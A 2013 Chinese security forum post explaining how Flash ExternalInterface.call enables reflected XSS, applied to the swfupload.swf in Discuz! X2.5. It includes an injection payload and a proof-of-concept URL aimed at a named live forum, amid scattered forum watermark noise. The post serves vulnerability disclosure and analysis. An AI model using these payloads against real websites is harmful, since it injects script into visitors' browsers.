找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1890|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
+ h4 F; T( s& @* d& G! ^
* y8 x. B& b, ^- Aflash.external.ExternalInterface.call($methodName, $parameter)
* C' x. a; }3 o0 C* \/ k在浏览器中执行的是
' F% f, {* I3 c  j2 z# V% _8 e; l3 u" ^' e' H" E) b
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}; S3 \' Y+ N( Y% z0 C0 l9 k
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
* P; ^5 q2 o# r, o8 Z6 {; d# n& y/ H- T4 y) U
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
* ?& s( y4 X9 }! q$methodName = a())}catch(e){alert(/xss/)}//7 _; Y+ ], R8 J8 v
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
) D% f) @6 l  S4 u/ ~/ L7 ~9 w* M: i2 K1 x
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
# _5 y* x) T! i1 N7 n1 f, l8 Y
) L8 I& W) X, c; }这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )& B8 m: ]/ s$ z: x- o/ `: ?9 Y8 J  W
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。5 N' |  k4 z* p! J5 `8 P

& ^+ \2 g6 t8 w: ~' H- I# y+ _6 F& l  j: I  u- F1 g
& l) g# s; u# B: p4 Y
漏洞文件:upload\static\image\common\swfupload.swf  M, @: |7 I5 q4 E$ W( u

" C) a) Y7 W1 {( i  e1 R# |. ~7 N! V原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
. Y% }, k. j# j0 `# Z
; k0 D4 a% M' V# {" K5 F9 b
9 k# T/ _0 }/ K+ V0 k( i漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
: G+ h) C  Y7 O9 {! g; T
* W9 ~; k' k9 C' E7 k# K
& O. A$ C7 a8 q) g; Q* H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表